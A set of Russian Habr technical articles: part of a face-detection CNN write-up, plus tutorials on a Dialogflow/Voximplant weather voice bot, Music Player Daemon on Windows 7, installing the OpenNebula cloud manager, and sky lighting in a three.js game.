Вернемся к детекции. Эксперименты показали, что маленькая сеть не дает нужного качества, так что нужно обязательно учить большую. Но проблема большой в том, что даже на мощной GPU очень долго классифицировать тысячи окон, которые получаются из одной фотографии. Такую систему было бы просто невозможно воплотить в жизнь. В текущем варианте есть большой потенциал для оптимизаций хитрыми трюками, но я решил, что они не достаточно масштабируемы и проблему надо решать качественно, а не хитро оптимизируя флопсы. И решение же вот оно, перед глазами! Маленькая сеть со входом 12х12, одной конволюцией, одним пулингом и классификатором сверху! Она работает очень быстро, особенно учитывая, что запустить классификацию на GPU можно параллельно для всех окон — получается почти мгновенно.
Ансамбль
--------
*One Ensemble to bring them all and in the darkness bind them.*
Итак, было решено использовать не одну классификацию и одну калибрацию, а целый ансамбль сетей. Сначала будет идти слабая классификация, потом слабая же калибрация, потом фильтрация откалиброванных окон, которые предположительно указывают на одно лицо, а потом уже только на этих оставшихся окнах прогонять сильную классификацию и затем сильную калибрацию.
Позже, практика показала, что это все еще довольно медленно, так что я сделал ансамбль аж из трех уровней: в середине между этими двумя была вставлена "средняя" классификация, за которой шла "средняя" калибрация и потом фильтрация. В такой комбинации система работает достаточно быстро, что есть реальная возможность использовать ее в продакшене, если приложить некоторые инженерные усилия и реализовать некоторые трюки, просто, чтобы уменьшить флопсы и увеличить параллельность.
Итого получаем алгоритм:
1. Находим все окна.
2. Проверяем первой детекционной сетью.
3. Те, что загорелись, калибруем первой калибровочной сетью.
4. Фильтруем пересекающиеся окна.
5. Проверяем второй детекционной сетью.
6. Те, что загорелись, калибруем второй калибровочной сетью.
7. Фильтруем пересекающиеся окна.
8. Проверяем третьей детекционной сетью.
9. Те, что загорелись, калибруем третьей калибровочной сетью.
10. Фильтруем пересекающиеся окна.
Батчи окон
----------
Если шаги со второго по седьмой делать для каждого окна отдельно, получается довольно долго: постоянные переключения с CPU на GPU, неполноценная утилизация параллелизма на видеокарте и кто знает что еще. Поэтому было решено сделать конвейеризованную логику, которая бы могла работать не только с отдельными окнами, а с батчами произвольного размера. Для этого было решено каждую стадию превратить в генератор, и между каждой стадией поставить код, который тоже работает как генератор, но не окон, а батчей и буферизирует результаты предыдущей стадии и при накоплении заранее заданного числа результатов (или конце) отдает собранный батч дальше.
Эта система неплохо (процентов на 30) ускорила обработку во время детекции.
Moar data!
----------
Как выше я уже заметил в предыдущей статье, большая детекционная сеть учится со скрипом: постоянные резкие прыжки, да и болтает ее. И дело не в скорости обучения, как бы в первую очередь подумал любой, знакомый с обучением сетей! Дело в том, что все-таки мало данных. Проблема обозначена — можно искать решение! И оно тут же нашлось: датасет Labeled Faces in the Wild.
Объединенный датасет из FDDB, LFW и моих личных доливок стал почти втрое больше исходного. Что из этого получилось? Меньше слов, больше картинок!
Маленькая сеть заметно стабильней, быстрее сходится и результат лучше:
Большая сеть тоже заметно стабильней, пропали всплески, сходится быстрее, результат, внезапно, чуток хуже, но 0.17% кажутся мне допустимой погрешностью:
Дополнительно, такое увеличение объема данных позволило еще увеличить большую модель для детекции:
Видим, что модель еще быстрее сходится, к еще лучшему результату и очень стабильно.
Заодно я заново обучил и калибрационные сети на большем объеме данных.
Маленькая калибрация:
и большая калибрация:
В отличии от детекционной сети тут видно прямо-таки драматическое улучшение. Это происходит потому, что исходная обучающая выборка не аугментируется и исходная сеть сильно страдает от недостатка данных, как страдала сеть для детекции до аугментации.
Детектирование готово
---------------------
Картинка, иллюстрирующая весь пайплайн (классификация-1, калибрация-1, фильтрация, классификация-2, калибрация-2, фильтрация, классификация-3, калибрация-3, фильтрация, глобальная фильтрация, белым отмечены лица из тренировочного множества):
Успех!
Мультиразрешение
----------------
К этому моменту те из вас, кто следит за трендами, наверняка уже подумали, мол что за динозавр, использует техники из глубокой древности (4 года назад :), где же свежие крутые приемы? А вот они!
На просторах arxiv.org была подчерпнута интересная идея: а давайте карты фичей в конволюционных слоях считать на разных разрешениях: банально сделать сети несколько входов: NxN, (N/2)x(N/2), (N/4)x(N/4), сколько угодно! И подавать один и тот же квадрат, только по-разному уменьшенный.
Потом же для финального классификатора все карты конкатенируются и он как бы может смотреть на разные разрешения.
Слева было, справа стало (померяно на той самой средней сети):
Видно, что в моем случае сеть с несколькими разрешениями сходится быстрее и чуть менее болтается. Тем не менее, идею я отбросил, как не работающую, так как маленькая и средняя сети не должны быть суперточными, а большую вместо мультиразрешений я просто потом увеличил с еще большим успехом.
Batch normalization
-------------------
Batch normalization — это техника регуляризации сети. Идея в том, что каждый слой на вход принимает результат предыдущего слоя, в котором может быть практически любой тензор, координаты которого предположительно как-то распределены. А слою было бы очень удобно, если бы на вход ему подавали тензоры с координатами из фиксированного распределения, одного для всех слоев, тогда ему не нужно было бы учить преобразование инвариантное к параметрам распределения входных данных. Ну и окей, давайте между всеми слоями вставим некое вычисление, которое оптимальным образом нормализует выходы предыдущего слоя, что снижает давление на следующий слой и дает ему возможность делать свою работу лучше.
Мне эта техника неплохо помогла: она позволила снизить вероятность дропаута при сохранении того же качества модели. Снижение вероятности дропаута в свою очередь приводит к ускорению сходимости сети (и большему переобучению, если делать это без нормализации батчей). Собственно, буквально на всех графиках вы видите результат: сети достаточно быстро сходятся к 90% финального качества. До нормализации батчей падение ошибки было существенно более пологим (к сожалению результаты не сохранились, так как тогда еще не было DeepEvent).
Inceptron
---------
Разумеется, я не смог устоять перед тем, чтобы поковыряться с современными архитектурами и попробовал натренировать на классификацию лиц Inceptron (не GoogLeNet, а гораздо меньшую сеть). К сожалению, в Theano эту модель правильно сделать нельзя: библиотека не поддерживает zero-padding произвольного размера, так что мне пришлось оторвать одну из веток Inception-модуля, а именно правую на этой картинке:
Дополнительно, у меня было лишь три inception-модуля друг на друге, а не семь, как в GoogLeNet, не было предварительных выходов, и не было обычных конволюционно-пулинговых слоев в начале.\
```
def build_net64_inceptron(input):
network = lasagne.layers.InputLayer(shape=(None, 3, 64, 64), input_var=input)
network = lasagne.layers.dropout(network, p=.1)
b1 = conv(network, num_filters=32, filter_size=(1, 1), nolin=relu)
b2 = conv(network, num_filters=48, filter_size=(1, 1), nolin=relu)
b2 = conv(b2, num_filters=64, filter_size=(3, 3), nolin=relu)
b3 = conv(network, num_filters=8, filter_size=(1, 1), nolin=relu)
b3 = conv(b3, num_filters=16, filter_size=(5, 5), nolin=relu)
network = lasagne.layers.ConcatLayer([b1, b2, b3], axis=1)
network = max_pool(network, pad=(1, 1))
b1 = conv(network, num_filters=64, filter_size=(1, 1), nolin=relu)
b2 = conv(network, num_filters=64, filter_size=(1, 1), nolin=relu)
b2 = conv(b2, num_filters=96, filter_size=(3, 3), nolin=relu)
b3 = conv(network, num_filters=16, filter_size=(1, 1), nolin=relu)
b3 = conv(b3, num_filters=48, filter_size=(5, 5), nolin=relu)
network = lasagne.layers.ConcatLayer([b1, b2, b3], axis=1)
network = max_pool(network, pad=(1, 1))
b1 = conv(network, num_filters=96, filter_size=(1, 1), nolin=relu)
b2 = conv(network, num_filters=48, filter_size=(1, 1), nolin=relu)
b2 = conv(b2, num_filters=104, filter_size=(3, 3), nolin=relu)
b3 = conv(network, num_filters=8, filter_size=(1, 1), nolin=relu)
b3 = conv(b3, num_filters=24, filter_size=(5, 5), nolin=relu)
network = lasagne.layers.ConcatLayer([b1, b2, b3], axis=1)
network = max_pool(network, pad=(1, 1))
network = DenseLayer(lasagne.layers.dropout(network, p=.5), num_units=256, nolin=relu)
network = DenseLayer(lasagne.layers.dropout(network, p=.5), num_units=2, nolin=linear)
return network
```
И у меня даже получилось!
Результат на процент хуже обычной конволюционной сети, обученной мной ранее, но тоже достойный! Однако, когда я попробовал обучить такую же сеть, но из четырех inception-модулей, она стабильно разлеталась. У меня осталось ощущение, что эта архитектура (как минимум, с моими модификациями) очень капризная. К тому же, batch normalization, почему-то, стабильно превращала эту сеть в полный расколбас. Тут я подозреваю полукустарную реализацию batch normalization для Lasagne, но в общем все это заставило меня отложить Инцептрон до светлого будущего с Tensorflow.
Кстати, Tensorflow!
-------------------
Конечно, я попробовал и его! Эту модную технологию я опробовал в тот же день, когда он вышел с большими надеждами и восхищением Гуглом, спасителем нашим! Но нет, надежд он не оправдал. Заявленного автоматического использования нескольких GPU нет и в помине: на разные карточки нужно руками помещать операции; работал он только с последней кудой, которую мне тогда было нельзя ставить на сервер, имел захардкоженную версию libc и не пускался на другом сервере, да еще и собирался вручную с помощью blaze, который не работает в докер-контейнерах. Короче, одни разочарования, хотя сама модель работы с ним очень даже неплоха!
Tensorboard тоже оказался разочарованием. Не хочу вдаваться в детали, но мне все не нравилось и я занялся разработкой своего мониторинга под названием DeepEvent, скриншоты с которого вы видели в статье.
*В следующей серии:
Смайлы, готовая система, результаты и, наконец-то уже, симпатичные девушки!* | https://habr.com/ru/post/277345/ | null | ru | null |
# Сделаем это по-быстрому: голосовой бот на Dialogflow и Voximplant
Голосовые боты были и остаются полезной фичей для общения с клиентами. Потому что если что-то возможно автоматизировать, то надо срочно это делать. Подтверждение заказов и информация о них, запись обратной связи от клиентов, распознавание голоса и действия согласно тому, что распозналось и т.д. Кстати, о последнем – сделать бота с распознаванием в 2018 году стало еще проще: Voximplant отлично умеет распознавать и транскрибировать речь, а инструмент Dialogflow от “корпорации добра” хорошо анализирует текст. Ниже я покажу, как можно быстро собрать демо-бота, который расскажет о погоде в названном городе.
### Почему “демо”-бот?
Потому что принцип. Эта статья показывает **принцип** создания ботов на Dialogflow + Voximplant. Поэтому диалог с ботом будет простым, например:
**Бот:** – Привет, хабрапользователь! Спроси, какая погода в Москве или другом городе.
**Хабрапользователь:** – Какая погода в Лондоне?
**Бот:** – Сегодня в городе Лондон – облачно.
Voximplant позволит арендовать телефонный номер, распознать и транскрибировать голос, а также взаимодействовать с сервисами Dialogflow и openweathermap.org. Мы передадим в Dialogflow строку, транскрибированную из ответа пользователя, после чего NLP (Natural Language Processing) вернет нам JSON, в котором будет лежать название города в именительном падеже. Название города мы передадим в openweathermap.org, который, в свою очередь, расскажет нам, что же там с погодой в указанном городе.
### Создаем тайного агента NLP
Dialogflow – это мощный сервис NLP, которым владеет google. Сервис бесплатный, но чтобы использовать его, нужен гугловский аккаунт. Заходим на <https://dialogflow.com/> и регистрируемся. Сервис оперирует понятием “агент” – по сути, агент это и есть бот. По умолчанию у нового аккаунта нет агентов. В сервисе есть prebuild agents, но вот так сразу их нельзя себе добавить. Поэтому создаем нового агента просто для того, что получить доступ к предустановленным агентам; звучит как костыль, но поверьте, это он и есть.
Введите имя для агента, остальные параметры можно оставить по умолчанию. Поле Google project подразумевает проект в Firebase (если у вас нет проектов Firebase, то создастся новый). Нажимаем Create и попадаем в консоль Dialogflow, так называется главный экран сервиса. Слева вертикальное меню, кликаем Prebuild Agents, находим агента Weather и щелкаем Import. Готово, теперь в нашем аккаунте есть агент weather!
По умолчанию агент поддерживает только английский язык, поэтому берем агента на редактирование (заодно можно поменять его имя, если есть желание), переходим на вкладку Languages, добавляем русский язык и клацаем “Save”.
Теперь у нашего агента есть выбор языка. Увы, агент не умеет общаться на русском “из коробки”, но ничего, научим. Щелкаем “ru”, чтобы сделать русский язык активным и затем проваливаемся в “Intents”.
В открывшемся списке Intents выбираем самый верхний – weather. На новом экране видим раздел User says, здесь должны быть реплики пользователя: чем больше вариаций, тем лучше. Мы же пока обойдемся фразой “какая погода в Москве?”. Когда вы введете ее, Dialogflow почти сразу подсветит название города и назначит ему соответствие в возвращаемом JSON’е! Обязательно используем это в нашем коде. Также на этом экране видно название контекста/темы разговора — weather.
Теперь мы можем проверить работу агента либо в сервисе Dialogflow (правый верхний угол, Try it now), либо сделать запрос через cURL. Чтобы меньше курить документацию, можно посмотреть пример cURL и возвращаемого JSON здесь же.
Запрос:
```
curl 'https://api.dialogflow.com/v1/query?v=20170712&query=%D0%BA%D0%B0%D0%BA%D0%B0%D1%8F%20%D0%BF%D0%BE%D0%B3%D0%BE%D0%B4%D0%B0%20%D0%B2%20%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B5%3F⟨=ru&sessionId=e2c9fe05-6219-4317-ae96-2dbb6a429df4&timezone=Europe/Moscow' -H 'Authorization:Bearer d146627e5ef843fc9757028t410faa80'
```
Обратите внимание, что текст query должен быть URIencoded и надо обязательно передавать ключик в заголовке (ключ можно найти в настройках агента). Если в запросе указан контекст, то желательно задавать уникальные номера сессии при всех последующих запросах, чтобы не “смешивать” контексты.
Ответ на запрос:
**Dialogflow response**
Как будет выглядеть этот запрос из нашего облачного сценария:
```
const sessionId = () => Math.floor(100000 * Math.random());
Net.httpRequest("https://api.dialogflow.com/v1/query?v=20150910&contexts=weather&query=" + encodeURI(userSpeech) + "⟨=ru&sessionId=" + sessionId() + "&timezone=Europe/Moscow", (e) => {
// проверка ответного JSON и последующие действия
},
{ headers: ["Authorization: bearer d146627e5ef843fc9757028t410faa80"]});
```
### Запрашиваем погоду
Теперь, когда мы знаем город, мы может запросить погоду. Я использовал довольно простой API [openweathermap.org](https://openweathermap.org/). Регистрируемся, получаем API-ключ и можем делать запросы вида:
```
curl 'https://api.openweathermap.org/data/2.5/weather?q={CITY NAME}⟨=ru&appid={API_KEY}'
```
Из ответа мы возьмем простейшее описание погоды из поля description: “облачно” / “пасмурно” / “небольшой снегопад” и т.д.:
**openweathermap response**
Зная погоду, мы можем синтезировать эту информацию в звонок.
### All together now..!
Настало время отразить все эти шаги в сценарии Javascript. Для этого сначала создадим [приложение](https://manage.voximplant.com/applications) в панели управления Voximplant, а затем – сценарий в нем. В приложении также необходимо создать правило и привязать его к арендованному номеру (подробности есть на [нашем сайте](https://voximplant.com/docs/tutorials/calls/step-by-step-call-center-tutorial)). Итак, что мы хотим сделать?
1. Пользователь звонит на арендованный номер.
2. Пользователю отвечает наше облако со словами “Привет, хабрапользователь! Спроси, какая погода в Москве или другом городе.”
3. Человек спрашивает, “какая погода в {CITY NAME}”, наше облако распознает запрос и делает запрос с получившейся строкой в Dialogflow.
4. Получив ответ, проверяем наличие в ответе темы weather и есть ли в ответе город. Если что-то пошло не так, робот говорит об этом и снова просит задать вопрос о погоде.
5. Если в ответе от Dialogflow есть город, то облако обращается к openweathermap.org, подставляя в запрос этот город.
6. Получив ответ о погоде, озвучиваем пользователю “Сегодня в городе {CITY NAME} – облачно / пасмурно / небольшой снег” и кладем трубку.
Такую логику обеспечит следующий код:
**Voximplant JS scenario** | https://habr.com/ru/post/348720/ | null | ru | null |
# Windows 7 и Music Player Daemon
Небольшая заметка о том, как я запускал Music Player Daemon на Windows7 и что из этого получилось…
MPD — это совсем крошечный аудио-проигрыватель-демон, который управляется через сетевой интерфейс и умеет транслировать аудио поток самыми разнообразными и легко конфигурируемыми способами.
Установка оказалась довольно проста.
С сайта разработчиков я скачал архив с программой, распаковал её в каталог, создал подкаталоги для хранения музыкальных файлов, плэйлистов, музыкальной БД и логов и написал небольшой конфигурационный файл.Некоторые вопросы возникли только по поводу разделителя каталогов(нужно использовать две прямых либо одну обратную черту) и правильного конфигурирования выходного аудио потока. На вики разработчиков нашлись примеры конфигурации для аудио устройств Windows 7
У меня получился вот такой конфигурационный файл mpd.conf:
`playlist_directory "d:\\mpd\\playlists"
db_file "d:\\mpd\\database\\mpd.db"
log_file "d:\\mpd\\log\\mp.log"
pid_file "d:\\mpd\\log\\pid"
state_file "d:\\mpd\\log\\state"
bind_to_address "127.0.0.1"
port "6600"
log_level "default"
auto_update "yes"
input {
plugin "curl"
# proxy "proxy.isp.com:8080"
# proxy_user "user"
# proxy_password "password"
}
#audio_output {
# type "httpd"
# name "My HTTP Stream"
## encoder "vorbis" # optional, vorbis or lame
# port "8000"
# bind_to_address "127.0.0.1" # optional, IPv4 or IPv6
# quality "10.0" # do not define if bitrate is defined
## bitrate "512" # do not define if quality is defined
# format "128000:16:2"
#}
#windows multimedia output
audio_output {
type "winmm"
name "Speakers"
# device "Speakers (Realtek High Definition Audio)"
}`
Теперь можно запустить MPD командой:
**mpd.exe mpd.conf**
Если ошибок в конфигурационном файле не нашлось, то всё должно работать.Ну а дальше можно вставить эту команду в автозагрузку или запускать вручную.
Ещё несколько замечаний. Если на компьютере установлено более одной звуковой платы, то их можно конфигурировать отдельно, и тогда разные карты будут получать звуковые потоки с разными параметрами(указав значения параметру device), либо не делать этого. В этом случае аудио поток будет транслироваться только на одну(активную) звуковую карту.Я иногда использую внешнюю звуковую карту SB Play, и с её подключением и отключением не возникло никаких проблем.
Кроме того можно организовать трансляцию аудио потока по протоколу http (эту возможность я попробовал-в моём конфигурационном файле эти настройки оставлены и закоментированы), и даже транслировать через MPD вебрадио. Программа занимает 5.5 мб оперативной памяти и почти не нагружает процессор — у меня на настольном компьютере используется не более 1% процессорного времени.
#### My mpd client 4
Достоинства MPD особенно ярко проявляются, если музыкальные композиции содержат id — тэги mp3/flac/ogg. В этом случае можно легко сортировать их по альбомам, исполнителям и т.д. Для управления музыкальной БД, очередью воспроизведения и создания плэйлистов написаны специальные программы, которые называются mpd-клиенты. Таких программ-клиентов насчитывается пару десятков. Большую часть из них я посмотрел и даже попробовал в действии. Мне они показались неудобными, и я решил для своих собственных нужд написать собственный клиент mpd.
Основные идеи были следующими:
1) Простой интерфейс.
2) Возможность удобной работы на небольших экранах.
3) Удобная и простая навигация по музыкальной базе данных.Нормальное отображение обложек альбомов, если они хранятся вместе с аудиофайлами.
4) Наглядная работа с плэйлистами.
5) Редактор тэгов.(пока не реализовано)
Он написан на python/pygtk. C небольшими исправлениями это программа запустилась и под Windows, её я в основном и использую.
Самое интересное начинается после нажатия кнопки [more]. Окно распахивается и появляется блокнот с закладками, которые и осуществляют основную работу по создания списков воспроизведения(плэйлистов).
#### Полезные ссылки
[Music\_Player\_Daemon\_Wiki](http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki)
[Одно из ранних описаний My mpd client 4](http://boomzoomer.livejournal.com/53481.html) | https://habr.com/ru/post/137403/ | null | ru | null |
# Управление облаком на open-source софте
В последнее время очень модными стали решения по построению облачных систем, облака строят все кому не лень. Для конечного пользователя все прозрачно: «Вот тебе точка входа, вот там твои ресурсы — используй!» И мало кто из них задумывается о том, как оно все устроено внутри. Да и не надо им знать, в сущности. Однако, людям, которые заняты как раз конфигурированием подобных систем, очень интересно, а как же это работает у других? И главное — на чем?
В данный момент имеется достаточно программного обеспечения для создания облачной инфраструктуры и управления ею. Это продукты от VMware, Citrix, Red Hat и т. д. В этом же ряду стоит очень интересный софт под названием [OpenNebula](http://www.opennebula.org). Он содержит в себе инструменты по администрированию системы с консольным и графическим интерфейсом, а также инструменты для конечных пользователей, которые позволяют управлять ресурсами. Посмотреть пример работы можно на [видео](http://www.youtube.com/opennebula).
Что ж, попробуем развернуть свою собственную систему управления облаком. Стоит сказать, что в данном материале не будут рассматриваться вопросы подключения к хостам виртуализации — только установка и обзор возможностей.
#### Preconfig
Итак, для начала ставим Ubuntu 11.10 64 bit Server (можно ставить как на голое железо, так и в качестве виртуальной машины). Установку Ubuntu не рассматриваем, т. к. она проста и описана везде, где только можно. Далее начинаем преконфигурацию сервера.
Создаем пользователя oneadmin и группу cloud:
`mkdir -p /srv/cloud/
groupadd -g 10000 cloud
/srv/cloud/one as home folder.
useradd -u 10000 -m oneadmin -d /srv/cloud/one -s /bin/bash -g cloud
passwd oneadmin
chown -R oneadmin:cloud /srv/cloud/`
Проверим, возможен ли вход под oneadmin:
`su -l oneadmin
exit`
Ставим mysql и создаем базу:
`apt-get install mysql-server mysql-admin
# mysql -u root -p
mysql> CREATE USER 'oneadmin'@'localhost' IDENTIFIED BY 'oneadmin';
mysql> CREATE DATABASE opennebula;
mysql> GRANT ALL PRIVILEGES ON opennebula.* TO 'oneadmin' IDENTIFIED BY 'oneadmin';
mysql> quit;`
#### Install&Configure
Ставим необходимые пакеты:
`apt-get install g++ libxmlrpc-c3-dev scons libsqlite3-dev libmysqlclient-dev libxml2-dev libssl-dev ruby libxmlrpc-c3-0 libxmlrpc-core-c3-dev gems`
Заходим под oneadmin. Качаем дистрибутив OpenNebula 3.4.0, распаковываем и переходим в каталог:
`su -l oneadmin
wget dev.opennebula.org/packages/opennebula-3.4.0/opennebula-3.4.0.tar.gz
tar xzf opennebula-3.4.0.tar.gz
cd opennebula-3.4.0/`
Задаем параметры сборки пакета:
`scons sqlite=no mysql=yes
exit`
Устанавливаем OpenNebula под root’ом:
`./install.sh -u oneadmin -g cloud -d /srv/cloud/one`
Снова заходим под oneadmin:
`su -l oneadmin`
И создаем переменные окружения:
`nano ~/.bash_profile
export ONE_LOCATION=/srv/cloud/one
export ONE_AUTH=$ONE_LOCATION/.one/one_auth
export ONE_XMLRPC=http://localhost:2633/RPC2
export PATH=$ONE_LOCATION/bin:/usr/local/bin:/var/lib/gems/1.8/bin/:/var/lib/gems/1.8/:$PATH`
Применяем:
`source ~/.bash_profile`
Создаем файл аутентификации, пароль указывается в явном виде:
`mkdir ~/.one
echo "oneadmin:" > ~/.one/one\_auth`
Далее вносим необходимые изменения в конфигурационный файл oned.conf:
`nano ~/etc/oned.conf`
Нужно закомментировать строку:
`#DB = [ backend = "sqlite" ]`
И указать в качестве бэкэнда mysql:
`DB = [ backend = "mysql",
server = "localhost",
port =3306,
user = "oneadmin",
# passwd = "password",
db_name = "opennebula" ]`
Значение passwd было закомментировано, так как для пользователя oneadmin в mysql пароль не был задан.
Стартуем сервис oned:
`one start`
И даем команду «onevm list», просто чтобы посмотреть, запустится ли сервис:
Вывод, понятное дело, будет пустым.
#### Sunstone Install
Итак, сервис стартовал, ставим необходимые пакеты и GUI:
`apt-get install rubygems
gem install json sinatra thin install rack rails rake sequel sqlite3`
Далее необходимо поправить конфигурационный файл сервера Sunstone:
`nano /srv/cloud/one/etc/sunstone-server.conf`
Находим:
`# Server Configuration
:host: 127.0.0.1
:port: 9869`
И меняем на:
`# Server Configuration
:host: 0.0.0.0
:port: 8888`
Запускаем Sunstone-сервер под oneadmin и получаем ошибку, смотрим логи:
`sunstone-server start`
Исправляем ошибки:
`gem install rubygems-update
update_rubygems
gem update --system`
Стартуем sunstone:
`sunstone-server start`
#### GUI
Заходим по адресу http:// ip\_address\_or\_hostname:8888. Заполняем поля имя и пароль, ранее прописанные в one\_auth:
Достаточно аскетичный dashboard. С левой стороны дерево инструментов, справа — информация о службах и ресурсах:
Можно переключиться на русский язык:
Кому как привычнее:
Итак, что мы имеем?
Инструменты для создания пользователей, групп и списков доступа:
Панель для создания образов виртуальных машин, самих виртуалок и шаблонов:
И в самом низу — управление хостами, создание кластеров, добавление хранилищ и создание виртуальных сетей:
Для примера выпадающее окно:
Имеется возможность подключения различных гипервизоров:
#### Enduser Interface
Это была установка средств администрирования. А что же делать конечному пользователю? Не давать же ему доступ к админской консоли… Для обычных юзеров имеется другой инструментарий.
#### OCCI install
Находим и правим файл конфигурации occi сервиса:
`nano /srv/cloud/one/etc/occi-server.conf`
В этом файле необходимо поправить одну строчку:
`# Host and port where OCCI server will run
:server: localhost
:port: 4567`
на строку:
`:server: 0.0.0.0`
Мы поменяли еще и порт — поставили 8889, так как установка осуществляется на одном хосте. Далее доставим необходимые пакеты:
`apt-get install libxml2 libxslt expat`
И стартуем сервис occi:
`occi-server start`
Идем по нашему IP-адресу или доменному имени (кстати, в документации сказано, что в конфиге необходимо указывать именно FQDN) и смотрим, что у нас получилось:
`http:// ip-address_or_fqdn:8889/ui`
Логинимся на портал самообслуживания с логином oneadmin и паролем, который был указан ранее.
Далее мы увидим только то, что сконфигурировали для данного пользователя. Если бы ранее мы создали другого пользователя, сконфигурировали для него подсеть, шаблоны ВМ и прочее, то увидели бы соответствующую картинку. А так мы наблюдаем девственно чистый дашборд:
Ну и далее по пунктам:
При наличии необходимых прав можно попробовать и здесь что-нибудь добавить, но работать оно не будет, т. к. не добавлены гипервизоры.
К сожалению, тут русского языка нет, хотя он был бы кстати именно в клиентской части, а не в админке.
#### Заключение
Вот, собственно, и все. Сервер управления поставили, портал самообслуживания есть — вперед к облакам! Весь инструментарий достаточно прост и функционален. На нашем тестовом стенде все работает без проблем. Рулить всем можно и без GUI, прямо из консоли. Документация достаточно подробная.
Кстати, есть другой способ установки: кому лень проходить описанные выше шаги, можно поставить все одной командой:
`apt-get install opennebula`
а потом возиться с настройкой конфигов.
Как уже говорилось, топик посвящен описанию установки инструментов, поэтому примеров подключения гипервизоров, создания сетей, хранилищ и всего прочего нет. Если будет интересно, мы расскажем о продукте подробнее в следующей статье.
Удачи всем!
[madbug](https://habrahabr.ru/users/madbug/),
[DEPO Computers](http://www.depo.ru/?utm_source=topic_150612&utm_medium=sign&utm_campaign=habrahabr) | https://habr.com/ru/post/145826/ | null | ru | null |
# 3D игра на three.js, nw.js
Я решил выпустить новую версию своей старой браузерной игры, которая на протяжении пары лет пользовалась успехом в качестве приложения в социальных сетях. На этот раз я задался целью оформить ее также и в виде приложения под Windows (7-8-10) и разместить в различных магазинах. Конечно, в дальнейшем можно сделать сборки и под MacOS и Linux.
Код игры написан полностью на чистом javascript. Для отображения 3D графики в качестве связующего звена между скриптом и WebGL используется библиотека three.js. Однако, так было и в старой, браузерной версии. Самым главным в этом проекте для меня стал повод параллельно с игрой дописать собственную библиотеку, призванную дополнить three.js средствами удобной работы с объектами сцены, их анимацией и многими другими возможностями. Я тогда забросил ее на длительное время. Пришла пора к ней вернуться.
Моя библиотека содержит удобные средства для добавления и удаления объектов со сцены, изменения свойств отдельных частей объектов (мешей), независимую от фреймрейта анимацию движения 3D объектов, шейдер небосвода с текстурой звездного неба в ночное время и многое другое. Расскажу о некоторых из них. Касательно небосвода, я реализовал его создание одной функцией, которая принимает ряд входных параметров, инициализирует шейдер, загружает текстуру облаков (если они нужны) и начинает обновлять небосвод с заданной итерацией.
Впрочем, там все немного сложнее — для периодически, но редко вызываемых функций на самом деле работает еще одна конструкция, использующая setInterval(), в которую можно накидать событий вообще с разными интервалами, а она все это сведет к общему знаменателю и будет отрабатывать в нужное время нужные события по списку. Туда же можно кинуть и интервал обновления неба. А вот движение игровых 3D объектов для большей плавности уже реализовано через requestAnimationFrame()…
Итак, раз уж мы заговорили о небе, то начнем с него.
### Небо
Добавление небосвода на сцену происходит следующим образом.
Для начала необходимо добавить на сцену стандартный свет three.js с его максимальными (исходными) значениями яркости. Вся сцена с ее объектами, светом и прочими атрибутами, чтобы не захламлять глобальное пространство, будет храниться в пространстве имен apscene.
```
//Заполняющий свет (AmbLight) основной сцены
apscene.AmbLight=new THREE.AmbientLight(0xFFFFFF);
apscene.scene.add(apscene.AmbLight);
//Заполняющий свет (AmbLightBk) фоновой сцены (она используется для отображения задников и неба)
apscene.AmbLightBk=new THREE.AmbientLight(0xFFFFFF); apscene.sceneb.add(apscene.AmbLightBk);
//Туман (цвет, интенсивность) основной сцены
var SFog=new THREE.FogExp2(0xaaaaaa, 0.0007);
apscene.scene.fog=SFog;
//Туман (цвет, интенсивность) фоновой сцены
var SFogBk=new THREE.FogExp2(0xa2a2aC, 0.0006);
apscene.sceneb.fog=SFogBk;
//Свечение атмосферы
apscene.hemiLight=new THREE.HemisphereLight(0xFFFFFF, 0x999999, 1);
apscene.scene.add(apscene.hemiLight);
//Прямой солнечный свет основной и фоновой сцены задается так. У него много параметров и дополнительных свойств. Все это можно найти в документации по three.js и настроить так, как вам нужно, в том числе параметры теней, отбрасываемых объектами, освещенными этим светом...
apscene.dirLight=new THREE.DirectionalLight(...)
apscene.dirLightBk=new THREE.DirectionalLight(...)
```
После этого можно уже запускать анимацию небосвода с шейдерами, текстурами (блэкджеком и… ну, ладно) посредством одной моей функции:
```
m3d.graph.skydom.initWorld(
//Этот параметр используется, в случае, если надо сохранить резервную копию исходных значений освещения
{saveStart:false},
{
//ltamb (light ambient, можно задать произвольное имя) - изменение заполняющего освещения всех объектов сцены
ltamb:{a1:-2, a2:8, k1:0.2, k2:0.75, obj:[
{obj:apscene.AmbLight.color, key:['r','g','b']}
]},
//a1 и a2 - это крайние значения высоты солнца (altitude, которая будет приходить из шейдера неба), в диапазоне которых любой параметр, заданный в obj, изменяется в своем диапазоне (k1..k2), где коэффициенты k1 и k2 - крайние значения изменяемого параметра в долях от исходного
//То есть, здесь под именем ltamb задано: при восходе солнца от -2 до 8 (этот параметр приходит из шейдера), свечение объектов сцены (apscene.AmbLight.color), задаваемое интенсивностью компонентов r, g и b, будет изменяться от 0.2 до 0.75 от его исходного значения (заданного выше, в инициализации света сцены, то есть от 0xFFFFFF).
//key - это список имен ключей, используемых для доступа к данному параметру в three.js
//Далее задаем изменение заполняющего освещения объектов фоновой сцены (apscene.AmbLightBk.color). При движении солнца (изменении его altitude) от -4 до 12 заполняющее освещение фоновой сцены будет плавно изменяться в диапазоне 0.3 ... 0.99 от его исходного значения. Ниже -4 оно, естественно, останется на уровне 0.3 от исходного, а выше 12 оно будет 0.99 от исходного
ltambb:{a1:-4, a2:12, k1:0.3, k2:0.99, obj:[
{obj:apscene.AmbLightBk.color, key:['r','g','b']}
]},
//Интенсивность прямого солнечного света будет меняться так:
ltdir:{a1:-2, a2:8, k1:0.0, k2:1, obj:[
{obj:apscene.dirLight, key:['intensity']},
{obj:apscene.dirLightBk, key:['intensity']}
]},
//Интенсивность прямого солнечного света для фоновой сцены (apscene.dirLightBk) изменяется так же, как и для основной, поэтому мы просто задали его вторым параметром.
//Опять же, интенсивность данного вида света в three.js задается одним ключом - inensity (то есть, apscene.dirLight.intensity). То есть, надо смотреть, какими ключами и что задается в three.js и прописывать их здесь.
//Изменяющееся свечение атмосферы. На мой взгляд, его лучше всего уменьшить (до 0.15 от исходного) при просадке солнца с 12 до 8 (и, наоборот, увеличить восходе от 8 до 12), соответственно:
lthem:{a1:8, a2:12, k1:0.15, k2:0.3, obj:[
{obj:apscene.hemiLight, key:['intensity']}
]},
